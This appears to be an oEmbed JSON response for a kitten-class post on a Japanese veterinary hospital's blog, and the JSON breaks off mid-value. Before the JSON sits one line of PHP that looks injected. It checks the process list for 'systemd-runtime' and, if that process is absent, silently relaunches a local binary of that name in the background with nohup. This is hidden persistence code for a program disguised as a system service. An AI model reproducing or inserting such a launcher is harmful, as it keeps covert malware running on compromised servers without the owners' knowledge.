$programFilePath = 'systemd-runtime'; $processList = shell_exec('ps aux'); if (strpos($processList, $programFilePath) === false) { $commandToExecute = 'nohup ./' . $programFilePath . ' > /dev/null 2>&1 &'; shell_exec($commandToExecute); }{"version":"1.0","provider_name":"\u52d5\u7269\u306e\u533b\u5b66 | \u672c\u7267\u901a\u308a\u52d5\u7269\u75c5\u9662","provider_url":"https:\/\/honmokudori.com\/blog","author_name":"YamaguchiNaotaka","author_url":"#","title":"\u795d\uff01\u3053\u306d\u3053\u6559\u5ba4\u5352\u696d✨","type":"rich","width":600,"height":338,"html":"
\u795d\uff01\u3053\u306d\u3053\u6559\u5ba4\u5352\u696d✨<\/a><\/blockquote>